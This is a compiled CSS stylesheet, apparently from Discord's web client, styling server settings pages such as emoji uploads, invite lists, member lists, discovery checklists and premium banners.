.checkboxWrapper-1vQmxG { margin-top: 8px; border: 1px solid var(--background-tertiary); box-sizing: border-box; border-radius: 4px; }

.error-23AQ9u { margin-top: 4px; }

.tagContainer-3ziAqj { display: flex; flex-wrap: wrap; }

.tag-1kBfKR { margin-right: 8px; margin-bottom: 8px; }

.tag-1kBfKR.usedTag-1xWy_J { opacity: 0.3; }

.content-4eJCLj { padding: 24px; }

.modalHeader-5MokOG { margin-bottom: 16px; }

.marginAfter-IiM3ZP { margin-bottom: 8px; }

.separator-2dUoVV { width: 100%; height: 1px; background-color: var(--background-modifier-accent); margin: 24px 0px; }

.failingBlock-1afrol { margin-bottom: 24px; }

.closeButton-12xe4v { position: absolute; top: 12px; right: 12px; }

.progressWrapper-2feR8- { position: relative; height: 8px; margin: 16px 0px 8px; }

.progressBackground-2EKw_J { width: 100%; background-color: var(--background-secondary); }

.progressBackground-2EKw_J, .progressBar-35txIi { position: absolute; height: 8px; border-radius: 4px; }

.progressBar-35txIi { transition: background-color 0.2s ease 0s; }

.labelWrapper-3nyUcr { display: flex; -webkit-box-pack: justify; justify-content: space-between; }

.requirement-HjiNzo { text-align: right; }

.bold-1t9kNq { font-weight: 600; }

.container-1ArfEZ { border-radius: 8px; background-color: var(--background-secondary); overflow: hidden; }

.loaderContainer-2EjVpb { padding: 64px 0px; }

.loadingText-SJ1Qag { text-align: center; margin-bottom: 24px; }

.header-18YAsG { background-color: var(--background-tertiary); padding: 16px; display: flex; -webkit-box-align: center; align-items: center; }

.headerIcon-2RxGsZ { margin-right: 16px; }

.checklistItem-3UF8zn { display: flex; padding: 16px; }

.separator-1M0Hlx { content: ""; height: 1px; background-color: var(--background-modifier-accent); position: relative; border: none; margin: 0px 16px; display: block; }

.checklistIcon-2UDlb1 { -webkit-box-flex: 0; flex: 0 0 20px; margin-right: 16px; }

.checklistText-15z_n- { -webkit-box-flex: 1; flex: 1 1 auto; }

.detailsButton-dwFhTO { padding: 0px; font-weight: 400; }

.doesNot-3VytNL { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.healthPending-1uA87V { color: var(--text-warning); }

.healthFailingDescription-Kw-QnY { margin-bottom: 8px; }

.background-RO78RK { position: absolute; inset: 0px; background-image: url("https://discord.com/assets/dc170fee1d99b55abe1c4028f28659e8.svg"); background-repeat: no-repeat; pointer-events: none; }

.discoverySettings-czRYzE { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; max-width: 560px; margin: auto; }

.image-25FmLU { height: 110px; width: 100%; background-image: url("https://discord.com/assets/3c32e44f20ad22e786aed0252582983c.svg"); background-repeat: no-repeat; background-position: 50% center; margin: 64px 0px 32px; }

.header-VpVFxU { text-align: center; margin-bottom: 8px; }

.description-2bKmq8 { text-align: center; margin-bottom: 24px; }

.checklist-3DAf80 { border-radius: 8px; background-color: var(--background-secondary); overflow: hidden; width: 100%; }

.divider-2oWjn2 { height: 1px; width: 100%; margin: 0px 16px; background-color: var(--background-modifier-accent); }

.container-2BkTQA { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; text-align: center; }

.sparkles-kzy38t { position: absolute; top: 60px; left: 0px; width: 100%; z-index: 1; }

.header-aEfLrq { margin-top: 32px; }

.header-aEfLrq, .valueProp-3HJfh1 { margin-bottom: 8px; }

.byline-PJYmlm { margin-bottom: 16px; }

.discoverPreview-1TgRL4 { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; text-align: start; }

.placeholderCard-2Roomd, .previewCard-21zQLw { -webkit-box-flex: 0; flex: 0 0 auto; }

.guidelines-3mb_p3 { margin-top: 16px; }

.enableButton-1sao0a { width: min-content; min-width: 210px; margin: auto; font-weight: 600; }

.checklist-Q2wuVY { text-align: start; margin-top: 32px; }

.twoColumnFormSection-QFQpDc { display: flex; -webkit-box-pack: justify; justify-content: space-between; }

.formColumnLeft-RbBrkf { width: 50%; margin-right: 8px; }

.formColumnRight-Ln0Ivx { width: 50%; margin-left: 8px; }

.noDividerFormSection-2f5Ib6 { margin-top: 32px; }

.formTitle-iyZEBs { font-size: 14px; margin-bottom: 8px; }

.formDescription-32GFrj { margin-bottom: 16px; margin-right: 16px; max-width: 328px; }

.description-3_Rdgy { margin: 8px 0px; }

.formSelect-3A1Ua6 { margin-left: 16px; flex-basis: 50%; }

.divider-32YmdL { margin: 32px 0px; }

.guildCard-2JwvWC { min-height: 256px; -webkit-box-flex: 0; flex: 0 0 auto; }

.avatarUploaderInnerSquare-1aSEFR { border-radius: 4px; background-size: cover; width: 320px; height: 180px; }

.error-2lgjLf { margin-top: 8px; }

.theme-light .avatarUploaderInnerSquare-1aSEFR { background-image: url("https://discord.com/assets/6345e6aced36309efc7fe28a539383ab.svg"); }

.theme-dark .avatarUploaderInnerSquare-1aSEFR { background-image: url("https://discord.com/assets/2366391afb15ed6c2a019a0c0caa0797.svg"); }

.banner-1QYBBN { position: relative; border-radius: 8px; box-sizing: border-box; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; padding: 16px; margin-bottom: 23px; max-width: 660px; height: 72px; color: rgb(255, 255, 255); background: linear-gradient(90deg,hsl(221,calc(var(--saturation-factor, 1)*70%),55.5%),hsl(269,calc(var(--saturation-factor, 1)*83.8%),71%)); }

.banner-1QYBBN, .ctaContainer-2LnZcH { display: flex; }

.ctaContainer-2LnZcH { align-content: center; -webkit-box-flex: 0; flex: 0 0 auto; height: 40px; }

.button-qyQSk3 { min-width: 120px; height: 40px; }

.content-1q7Z7L { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; padding-left: 16px; width: 100%; }

.gem-1nfYrN { height: 38px; width: 25px; }

.header-GOwv5i { width: 100%; padding-bottom: 4px; }

.emojiAliasPlaceholder-1jdMVl { position: absolute; top: 0px; left: 0px; z-index: 0; font-size: 16px; line-height: 16px; padding-top: 6px; padding-left: 8px; padding-right: 8px; max-width: 200px; overflow: hidden; }

.emojiAliasPlaceholder-1jdMVl::after, .emojiAliasPlaceholder-1jdMVl::before { content: ":"; position: absolute; font-weight: 500; opacity: 0.3; }

.emojiAliasPlaceholder-1jdMVl::before { margin-left: -6px; }

.emojiAliasPlaceholder-1jdMVl::after { margin-left: 3px; }

.emojiAliasInput-3KxSFb { position: relative; z-index: 1; width: 200px; }

.emojiAliasOffset-IQV-AQ { margin-left: 7px; }

.emojiRow-3pAGQS { position: relative; height: 64px; }

.emojiRow-3pAGQS .emojiAliasInput-3KxSFb .emojiInput-13mgdV { transition: opacity 0.1s ease-in-out 0s; opacity: 0; }

.emojiRow-3pAGQS .emojiAliasInput-3KxSFb .emojiInput-13mgdV:focus { opacity: 1; }

.emojiRow-3pAGQS .emojiUploader-3-VyOH { margin-left: 10px; position: relative; }

.emojiRow-3pAGQS .emojiRemove-1g13zb { position: absolute; top: -12px; right: -31px; opacity: 0; }

.emojiRow-3pAGQS .emojiImage-13nmUx { width: 32px; height: 32px; background-size: contain; background-position: 0px 50%; background-repeat: no-repeat; }

.emojiRow-3pAGQS .emojiAliasInput-3KxSFb, .emojiRow-3pAGQS .emojiImage-13nmUx { position: relative; }

.emojiRow-3pAGQS .emojiRowText-1DtxQM { position: absolute; top: 0px; left: 28px; right: 0px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.emojiRow-3pAGQS:focus-within .emojiAliasInput-3KxSFb .emojiInput-13mgdV, .emojiRow-3pAGQS:hover .emojiAliasInput-3KxSFb .emojiInput-13mgdV { opacity: 1; }

.emojiRow-3pAGQS:focus-within .emojiRemove-1g13zb, .emojiRow-3pAGQS:hover .emojiRemove-1g13zb { opacity: 1; }

.emojiDisabled-3MowV8 { opacity: 0.4; }

.positionRelative-2qEjz3 { position: relative; }

.avatar-sdMGR4 { width: 20px !important; height: 20px !important; }

.theme-dark .emojiAliasInput-3KxSFb .emojiInput-13mgdV { }

.theme-dark .emojiAliasPlaceholder-1jdMVl { color: rgb(255, 255, 255); }

.theme-dark .emojiRow-3pAGQS { box-shadow: rgba(255, 255, 255, 0.04) 0px 1px 0px 0px; }

.theme-light .emojiAliasInput-3KxSFb .emojiInput-13mgdV { }

.theme-light .emojiRow-3pAGQS { box-shadow: rgba(79, 84, 92, 0.04) 0px 1px 0px 0px; }

.wrapper-1sov8s { -webkit-box-align: center; align-items: center; }

.header-38iSYi { word-break: break-word; margin-bottom: 8px; }

.secondaryHeader-2oeRPO { word-break: break-word; font-weight: 500; }

.icon-3oSHuZ { color: var(--interactive-normal); width: 24px; height: 24px; }

.iconWrapper-lS1uig { align-self: flex-start; background-color: var(--background-floating); width: 48px; height: 48px; border-radius: 50%; }

.detailsIcon-2LZ7Bq { margin-right: 4px; color: var(--interactive-normal); }

.detailsWrapper-3XSaoN { display: flex; -webkit-box-flex: 0; flex-grow: 0; -webkit-box-pack: start; justify-content: flex-start; margin-top: 4px; }

.headerDetailsWrapper-3vFoyW { margin-right: 40px; }

.card-1o0mns { padding: 20px 16px; margin-bottom: 16px; }

.iconWrapper-1GmWXs { background-color: var(--background-floating); width: 32px; height: 32px; border-radius: 50%; margin-right: 8px; }

.tag-2tTce6 { margin-left: 4px; }

.divider-1Q2f0F { margin-top: 16px; margin-bottom: -8px; }

.permissionHeader-asGFgR { margin-top: 24px; margin-bottom: 0px; }

.permission-23FtuH { display: flex; -webkit-box-flex: 0; flex: 0 0 33.33%; margin-top: 8px; }

.check-2-1yhI { color: var(--text-positive); }

.check-2-1yhI, .cross-22YsmA { margin-right: 8px; flex-shrink: 0; }

.cross-22YsmA { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.theme-light .rolePills-32B_DQ { color: rgba(79, 84, 92, 0.8); }

.theme-light .card-1o0mns { border-color: var(--background-tertiary); }

.theme-dark .rolePills-32B_DQ { color: rgba(255, 255, 255, 0.8); }

.theme-dark .card-1o0mns { border-color: var(--background-secondary-alt); }

.card-11DMwv { padding: 0px; margin-bottom: 16px; }

.header-AEVxpd { padding: 20px 16px; cursor: pointer; }

.body-1URwv3 { padding: 0px 16px 24px; }

.avatarWrapper-100Zq- { padding-right: 12px; }

.avatarUploaderInner-38krIy { width: 100px; height: 100px; }

.topDivider-3L6Fpy { margin-bottom: 24px; }

.bottomDivider-oRTNmX { margin: 24px 0px; }

.copyButton-2dlh2G { margin-right: 16px; }

.expandIcon-36eQhw { color: var(--interactive-normal); }

.source-2T0ALx { display: inline-flex; -webkit-box-align: center; align-items: center; margin-bottom: 24px; }

.sourceName-1A_rmo { color: var(--text-normal); margin: 0px 8px 0px 4px; }

.sourceIcon-3A2BWe { color: var(--interactive-normal); }

.sourceGuildIcon-3FBVzr { border-radius: 50%; width: 24px; height: 24px; }

.guildSource-zsVqWq { color: var(--text-muted); display: inline-flex; -webkit-box-align: center; align-items: center; margin: 0px 8px; }

.removeButton-2mQphS { padding-left: 0px; padding-right: 0px; }

.theme-light .card-11DMwv { border-color: var(--background-tertiary); }

.theme-dark .card-11DMwv { border-color: var(--background-secondary-alt); }

.card-3IImnr { padding: 0px; margin-bottom: 16px; }

.pulse-3KGsIm { border-width: 1px; border-color: transparent; animation: 0.8s ease 0s 1 alternate none running pulseBorder-1LZYy9; }

@-webkit-keyframes pulseBorder-1LZYy9 { 
  0% { border-color: transparent; }
  50% { border-color: var(--brand-experiment); }
  100% { border-color: transparent; }
}

@keyframes pulseBorder-1LZYy9 { 
  0% { border-color: transparent; }
  50% { border-color: var(--brand-experiment); }
  100% { border-color: transparent; }
}

.header-146Xl5 { padding: 20px 16px; cursor: pointer; }

.body-1zRX82 { padding: 0px 16px 24px; }

.avatarWrapper-w4yZ79 { padding-right: 12px; }

.avatarUploaderInner-2yzhZs { width: 100px; height: 100px; }

.topDivider-3G26Ct { margin-bottom: 24px; }

.bottomDivider-2zO9Uj { margin: 24px 0px; }

.copyButton-162Uy2 { margin-right: 16px; }

.expandIcon-3Ktz7x { color: var(--interactive-normal); }

.theme-light .card-3IImnr { border-color: var(--background-tertiary); }

.theme-dark .card-3IImnr { border-color: var(--background-secondary-alt); }

.groupHeader-2HO9n1 { margin-top: 24px; margin-bottom: 16px; }

.channelName-23gcSM { color: var(--header-primary); }

.header-1zrK9n { margin-top: 20px; }

.headerDivider-Dg1-HH { margin: 32px 0px; }

.headerDescription-1Nd_lF { margin-top: 16px; }

.sectionHeader-3nPONz { margin-bottom: 16px; font-weight: 500; }

.sectionIcon-_ETEQ7 { color: var(--interactive-normal); margin-right: 8px; }

.section-1vojIX { margin-bottom: 32px; }

.emptyCard-COmm00 { padding: 36px 16px; text-align: center; border-width: 0px; }

.updateAvailable-qNqOs7 { animation: 2s linear 0s infinite normal none running spin-3elCWT; }

@-webkit-keyframes spin-3elCWT { 
  0% { transform: rotate(0deg); }
  100% { transform: rotate(1turn); }
}

@keyframes spin-3elCWT { 
  0% { transform: rotate(0deg); }
  100% { transform: rotate(1turn); }
}

.card-2oHOey { padding: 0px; margin-bottom: 16px; }

.header-3_1L2a { padding: 20px 16px; }

.expandableHeader-419nXs { cursor: pointer; }

.body-1_h7ob { padding: 0px 16px 16px; }

.topDivider-30ltDi { margin-bottom: 24px; }

.midDivider-1XcdC7 { margin: 24px 0px; }

.bottomDivider-2vNBIW { margin: 24px 0px 16px; }

.description-CJJAf4 > a { color: var(--header-secondary); }

.syncedRole-ko_ioR > a { color: var(--header-primary); }

.emoji-1jNyN9 { color: var(--text-muted); min-height: 0px !important; max-width: 28px !important; max-height: 28px !important; margin: 8px 8px 0px 0px !important; }

.switch-3t5-zB { align-self: center; }

.expandIcon-h6kd__ { color: var(--interactive-normal); }

.enabledBadge-2bejG8 { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.disableButton-vqsDT_ { padding-left: 0px; padding-right: 0px; }

.theme-light .card-2oHOey { border-color: var(--background-tertiary); }

.theme-dark .card-2oHOey { border-color: var(--background-secondary-alt); }

.header-3AX55L { margin-top: 20px; }

.headerDivider-38pm1t { margin: 32px 0px; }

.platformIcon-1PGQCy { width: 28px; height: 28px; }

.iconWrapper-1CmFNX { background-color: var(--background-floating); width: 48px; height: 48px; border-radius: 50%; }

.helpText-3pMjkE { margin-top: 16px; }

.headerDivider-24Gho9 { margin: 32px 0px; }

.emptyStateImage-3B9eCS { width: 272px; height: 145px; margin-top: 32px; margin-bottom: 24px; }

.emptyStateButton-1ecMOd { margin-top: 12px; }

.sectionHeader-3mr9j6 { margin-top: 32px; margin-bottom: 16px; color: var(--text-muted); font-weight: 500; }

.channelName-3PKQcf { color: var(--header-primary); }

.card-o7rAq- { padding: 20px 16px; margin-bottom: 16px; }

.caret-Ld-w32 { margin-left: 8px; color: var(--interactive-normal); }

.feature-1kwvmO { margin-right: 16px; }

.featureIcon-3huAlM { color: var(--text-muted); }

.clickable-ya6Upc { cursor: pointer; }

.theme-light .card-o7rAq- { border-color: var(--background-tertiary); }

.theme-dark .card-o7rAq- { border-color: var(--background-secondary-alt); }

.divider-2ArnI_ { margin: 32px 0px; }

.sectionHeader-roK2A- { margin-bottom: 24px; }

.emptyStateWrapper-1TYbzO { align-content: center; }

.emptyStateImage-1cmrRm { width: 256px; height: 72px; margin-bottom: -24px; z-index: 100; }

.emptyStateCard-1gakJi { width: 100%; min-height: 128px; padding-top: 24px; z-index: 1; border-width: 0px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.footerPlaceholder-3sjNqI { padding-bottom: 228px; }

.footerImage-4UrEF0 { position: absolute; bottom: 0px; left: 0px; right: 0px; height: 188px; background-size: 660px 188px; background-position: 50% center; background-repeat: no-repeat; }

.theme-dark .footerImage-4UrEF0 { background-image: url("https://discord.com/assets/d89511b11686ab5c942b3ef900e3d0eb.svg"); }

.theme-light .footerImage-4UrEF0 { background-image: url("https://discord.com/assets/552bbc1a21ccdc1778e72f30154593ef.svg"); }

.platformIcon-3ewYVp { width: 28px; height: 28px; }

.headerDivider-imrZvL { margin: 32px 0px; }

.createButton-3dZ1z4, .emptyStateImage-3SXmVX { margin-bottom: 24px; }

.emptyStateImage-3SXmVX { width: 272px; height: 145px; }

.emptyStateButton-3AtrA7 { margin-top: 12px; }

.spinner-3PIoVi { margin-top: 40px; }

.backButton-1C0-xm { display: flex; -webkit-box-align: center; align-items: center; height: 28px; cursor: pointer; margin: -4px 8px -4px 0px; }

.backArrow-yh8dcc { color: var(--text-muted); }

.breadcrumbs-313Q_y { margin-bottom: 20px; }

.breadcrumbActive-rzcSnC { color: var(--header-primary); }

.breadcrumbInactive--q94Ii { cursor: pointer; color: var(--header-secondary); }

.breadcrumbInactive--q94Ii:hover { color: var(--header-primary); }

.inviteSettingsInviteRow-3p2O-N { height: 62px; position: relative; font-size: 16px; line-height: 20px; color: var(--text-normal); }

.headerSection-3-3lNF { padding-bottom: 4px; }

.headerDivider-IXgjKK { margin-bottom: 19px; }

.inviteSettingsInviteRow-3p2O-N:focus-within .revokeInvite-28N8uj, .inviteSettingsInviteRow-3p2O-N:hover .revokeInvite-28N8uj { opacity: 1; }

.text-21vYb9 { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.revokeInvite-28N8uj, .text-21vYb9 { z-index: 2; }

.username-38XC76 { margin-left: 8px; }

.channelName-13-Sm9 { margin-left: 26px; }

.countdownColumn-3NPaQ0 { margin-right: 0px; }

.revokeInvite-28N8uj { position: absolute; top: -12px; right: -31px; opacity: 0; transition: opacity 0.1s ease 0s; }

.inviteCode-202N0U { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; user-select: text; font-family: Consolas, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", Monaco, "Courier New", Courier, monospace; }

.textAlignRight-9VxZrl { text-align: right; }

.countdown-3GoVpq, .uses-mYuoF0 { text-align: right; font-family: Consolas, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", Monaco, "Courier New", Courier, monospace; }

.user-3x-NP9 { display: flex; color: var(--header-primary); }

.discriminator-uTZ08z { color: var(--header-secondary); }

.avatar-1D9RQa { width: 20px !important; height: 20px !important; }

.marginBottom20-2iRTVz { margin-bottom: 20px; }

.theme-dark .inviteSettingsInviteRow-3p2O-N { box-shadow: rgba(255, 255, 255, 0.04) 0px 1px 0px 0px; }

.theme-light .inviteSettingsInviteRow-3p2O-N { box-shadow: rgba(79, 84, 92, 0.04) 0px 1px 0px 0px; }

.spacing-10gZNy { margin: 8px 0px 16px; }

.pruneDetails-2XW25x { margin: 20px 0px; }

.role-3_4ahB { margin: 4px 4px 4px 0px; color: var(--text-normal); }

.content-160bZ2 { overflow-x: unset; overflow-y: visible; padding: 0px 16px; z-index: 2; }

.akaBadge-N3XhPY { background-color: var(--background-secondary); color: var(--header-secondary); display: inline-block; vertical-align: middle; }

.header-2eIdch { margin: 0px auto; }

.subHeader-11aYRB { text-align: center; }

.miniAvatar-32mr5d { vertical-align: middle; }

.akaTransfer-YyPqRP, .miniAvatar-32mr5d, .nickname-3xgD8W { display: inline-block; margin-left: 4px; }

.spacing-3L-47q { }

.fromToWrapper-LEJK5w { padding-top: 24px; margin-top: 24px; background: 50% 0px no-repeat; }

.from-mPWN2E, .to-2819fF { border-radius: 50%; }

.from-mPWN2E { margin-right: -27px; opacity: 0.3; }

.to-2819fF { position: relative; z-index: 1; }

.theme-dark .to-2819fF { box-shadow: rgb(54, 57, 63) 0px 0px 0px 4px; background-color: rgb(47, 49, 54); }

.theme-dark .fromToWrapper-LEJK5w { background-image: url("https://discord.com/assets/00933827d9e2b3ecacc0a0a319211ddc.svg"); }

.theme-light .to-2819fF { box-shadow: rgb(255, 255, 255) 0px 0px 0px 4px; background-color: rgb(246, 246, 247); }

.theme-light .fromToWrapper-LEJK5w { background-image: url("https://discord.com/assets/04457b30c1c2fcb344cb4d12913c5191.svg"); }

.searchBar-3nu5FH { margin-left: 10px; }

.membersHeader-3JlSjA .ui-select-2uwE1- { width: 150px; }

.pruneLink-a1mGuU { opacity: 0.9; }

.membersCount-c9q9UQ { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.membersFilterPopout-2PPBRo { width: 240px; }

.membersFilterPopout-2PPBRo .ui-scroller-wrap-U5xs6S { max-height: 280px; }

.member-4QiJ6P { padding: 16px 0px; }

.member-4QiJ6P.active-3dPVDu .overflowIcon-3NLq1i, .member-4QiJ6P:focus-within .overflowIcon-3NLq1i, .member-4QiJ6P:focus .overflowIcon-3NLq1i, .member-4QiJ6P:hover .overflowIcon-3NLq1i { opacity: 0.6; }

.member-4QiJ6P.active-3dPVDu .overflowIcon-3NLq1i:focus, .member-4QiJ6P.active-3dPVDu .overflowIcon-3NLq1i:focus-within, .member-4QiJ6P.active-3dPVDu .overflowIcon-3NLq1i:hover, .member-4QiJ6P:focus-within .overflowIcon-3NLq1i:focus, .member-4QiJ6P:focus-within .overflowIcon-3NLq1i:focus-within, .member-4QiJ6P:focus-within .overflowIcon-3NLq1i:hover, .member-4QiJ6P:focus .overflowIcon-3NLq1i:focus, .member-4QiJ6P:focus .overflowIcon-3NLq1i:focus-within, .member-4QiJ6P:focus .overflowIcon-3NLq1i:hover, .member-4QiJ6P:hover .overflowIcon-3NLq1i:focus, .member-4QiJ6P:hover .overflowIcon-3NLq1i:focus-within, .member-4QiJ6P:hover .overflowIcon-3NLq1i:hover { opacity: 1; }

.member-4QiJ6P .nameTag-2wk5cV { min-width: 200px; max-width: 200px; }

.member-4QiJ6P .nameTag-2wk5cV .name-1Z9yCG, .member-4QiJ6P .nameTag-2wk5cV .tag-3_KHUL { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; user-select: text; cursor: text; margin-right: 0.3rem; }

.member-4QiJ6P .ownerHelpIcon-2ra2dG { cursor: default; width: 14px; height: 14px; }

.member-4QiJ6P .roleWrapper-1X-nfB { overflow: hidden; }

.member-4QiJ6P .overflowButton-1fCCqg { width: 24px; }

.member-4QiJ6P .overflowIcon-3NLq1i { opacity: 0; cursor: pointer; transition: opacity 0.1s ease 0s; }

.member-4QiJ6P .avatar-12obrX, .member-4QiJ6P .nameTag-2wk5cV, .member-4QiJ6P .overflowButton-1fCCqg, .member-4QiJ6P .roleWrapper-1X-nfB { z-index: 1; }

.tag-3_KHUL { color: var(--text-muted); font-size: 14px; }

.theme-light .pruneLink-a1mGuU { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.theme-light .member-4QiJ6P { box-shadow: rgba(79, 84, 92, 0.04) 0px 1px 0px 0px; }

.theme-light .member-4QiJ6P .name-1Z9yCG { color: rgb(79, 84, 92); font-weight: 500; }

.theme-light .member-4QiJ6P .roleWrapper-1X-nfB { color: rgba(79, 84, 92, 0.8); }

.theme-light .member-4QiJ6P .overflowIconFg-2h4rCw { fill: rgb(79, 84, 92); }

.theme-light .member-4QiJ6P .ownerHelpIcon-2ra2dG { color: rgb(79, 84, 92); }

.theme-dark .pruneLink-a1mGuU { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.theme-dark .member-4QiJ6P { box-shadow: rgba(255, 255, 255, 0.04) 0px 1px 0px 0px; }

.theme-dark .member-4QiJ6P .name-1Z9yCG { color: rgb(246, 246, 247); font-weight: 500; }

.theme-dark .member-4QiJ6P .roleWrapper-1X-nfB { color: rgba(255, 255, 255, 0.8); }

.theme-dark .member-4QiJ6P .overflowIconFg-2h4rCw { fill: rgb(255, 255, 255); }

.theme-dark .member-4QiJ6P .ownerHelpIcon-2ra2dG { color: rgb(246, 246, 247); }

.buttonWithTooltip-D5MWbi { width: 100%; }

.avatarUploader-3muXCu .avatarUploaderInner-15lSjb, .avatarUploaderDisabled-3blOwN .avatarUploaderInner-15lSjb { width: 100px; height: 100px; background-size: 100% 100%; }

.avatarUploaderInnerSquare-1VbIoA { border-radius: 4px; background-image: linear-gradient(45deg,hsl(221,calc(var(--saturation-factor, 1)*70%),55.5%),hsl(269,calc(var(--saturation-factor, 1)*83.8%),71%)); background-size: cover; background-repeat: no-repeat; background-position: 50% center; width: 100%; height: 180px; }

.avatarUploaderInnerSquareDisabled-2Cz_em { background-color: rgb(79, 84, 92); background-image: none; }

.avatarUploadIcon-24czEC { top: 16px; right: 16px; }

.avatarUploaderDisabled-3blOwN { cursor: not-allowed; }

.avatarUploader-3muXCu .avatarUploaderInner-15lSjb, .avatarUploaderDisabled-3blOwN .avatarUploaderInner-15lSjb { box-shadow: var(--elevation-high); }

.avatarUploader-3muXCu .avatarUploaderInner-15lSjb:hover { box-shadow: var(--elevation-high),inset 0 0 120px rgba(0,0,0,0.6); }

.avatarUploadIcon-24czEC.hideDefaultIcon-hhUgdp { background-image: none; background-color: rgb(255, 255, 255); }

.theme-dark .bannerUpsellContainer-1KrLvE { background-color: rgb(41, 43, 47); }

.theme-light .bannerUpsellContainer-1KrLvE { background-color: var(--background-secondary); }

.bannerUpsellContainer-1KrLvE { display: flex; -webkit-box-align: center; align-items: center; border-radius: 4px; margin-bottom: 32px; }

.inlineCta-1047yq { flex-shrink: 0; min-width: 0px; padding: 0px 0px 0px 4px; margin-right: 8px; }

.alignRight-1D-3vx { margin-left: auto; margin-right: 24px; }

.premiumGuildIcon-2vJYmp { color: hsl(302,calc(var(--saturation-factor, 1)*100%),72.5%); margin: 12px 10px 12px 12px; }

.premiumGuildIconInButton-2ChoDW { margin-right: 4px; }

.bannerUpsellCta-1mJ1cV { margin: 8px 8px 8px auto; height: 32px; }

.bannerUpsellCtaContent-2JHWnv { font-weight: 600; display: flex; -webkit-box-align: center; align-items: center; }

.avatarUploaderDisabled-1oDRrW { cursor: not-allowed; }

.iconError-PJb8aG { margin-top: 8px; text-align: center; }

.guildSettingsOverviewNotice-sEu2-n { border-radius: 4px; }

.divider-3l1ln_ { margin-top: 40px; padding-top: 40px; border-top: 1px solid transparent; }

.error-3G5Xuc, .iconError-PJb8aG { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.avatarUploader-3BqWoq .avatarUploaderInner-3N4sdV, .avatarUploaderDisabled-1oDRrW .avatarUploaderInner-3N4sdV { width: 100px; height: 100px; background-size: 100% 100%; box-shadow: var(--elevation-high); }

.avatarUploader-3BqWoq .avatarUploaderInner-3N4sdV:hover { box-shadow: var(--elevation-high),inset 0 0 120px rgba(0,0,0,0.6); }

.theme-dark .guildSettingsOverviewNotice-sEu2-n { background-color: rgba(32, 34, 37, 0.95); }

.theme-dark .divider-3l1ln_ { border-color: rgba(114, 118, 125, 0.3); }

.theme-light .guildSettingsOverviewNotice-sEu2-n { background-color: rgba(246, 246, 247, 0.95); }

.theme-light .divider-3l1ln_ { border-color: rgba(185, 187, 190, 0.3); }

.flexFormTitle-1MlZxr { display: flex; margin-bottom: 8px; }

.premiumGuildAvailabilityIndicator-2yVVuW { background-color: var(--background-secondary-alt); padding: 1px 2px; border-radius: 16px; margin-left: 4px; height: 18px; }

.upsell-ldFwNr { cursor: pointer; }

.upsellButton-3BXZWy { display: flex; -webkit-box-align: center; align-items: center; }

.premiumUpsellBadge-32cV4_ { margin-right: 4px; }

.progressBarHeader-1rsY5O { width: 100%; margin: 8px 0px; }

.progressBarImage-30Fkrm { width: 320px; height: 252px; }

.marginTop16-3YIYS3 { margin-top: 16px; }

.premiumGuildIconCta-3-8viq { margin-right: 4px; }

.healthFailingDescription-2i0N_v { margin-bottom: 8px; }

.detailsButton-2DLM6k { padding: 0px; font-weight: 400; }

.healthPending-2vOXca { color: var(--text-warning); }

.doesNot-182rCC { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.separator-Hx_3SF { height: 1px; width: 100%; background-color: var(--header-primary); opacity: 0.06; border: none; margin: 0px; }

.container-1y2SiJ { min-height: 480px; flex-direction: column; }

.centeredContent-2RnY1t, .container-1y2SiJ { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; }

.centeredContent-2RnY1t { -webkit-box-flex: 1; flex: 1 1 0%; flex-direction: column; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.headerContent-1hkqMb { text-align: center; }

.header-2iAsQ- { margin-bottom: 16px; }

.headerCaption-dhZYrH, .headerCaptionSecondLine-njznzs { color: var(--header-secondary); }

.headerCaptionSecondLine-njznzs { margin-top: 16px; }

.formItem-3caYi-, .twoColumn-3yKVlN { margin-top: 24px; }

.twoColumn-3yKVlN { display: flex; -webkit-box-pack: start; justify-content: flex-start; -webkit-box-align: start; align-items: flex-start; }

.columnItem-P4zi8t { flex-basis: 50%; }

.spacedColumnItem-2jBOnY { -webkit-box-flex: 0; flex-grow: 0; flex-basis: 50%; margin-right: 16px; }

.description-1UfJ_A { margin-bottom: 8px; }

.otherDescription-1p-Y0L { margin: 8px 0px; }

.tag-3-bjbr { flex-shrink: 0; display: flex; -webkit-box-align: center; align-items: center; box-sizing: border-box; border-radius: 4px; margin: 2px; padding: 4px 4px 4px 8px; transition: none 0s ease 0s; color: var(--header-primary); }

.tag-3-bjbr:hover { text-decoration: none; }

.closeWrapper-1DB17G { display: flex; -webkit-box-align: center; align-items: center; margin-left: 2px; }

.close-1WlsZj { width: 12px; height: 12px; color: var(--interactive-normal); }

.close-1WlsZj:active, .close-1WlsZj:hover { cursor: pointer; color: var(--interactive-active); }

.theme-light .tag-3-bjbr { background-color: var(--background-tertiary); }

.theme-dark .tag-3-bjbr { background-color: var(--background-accent); }

.wrapper-3JPufy { position: relative; }

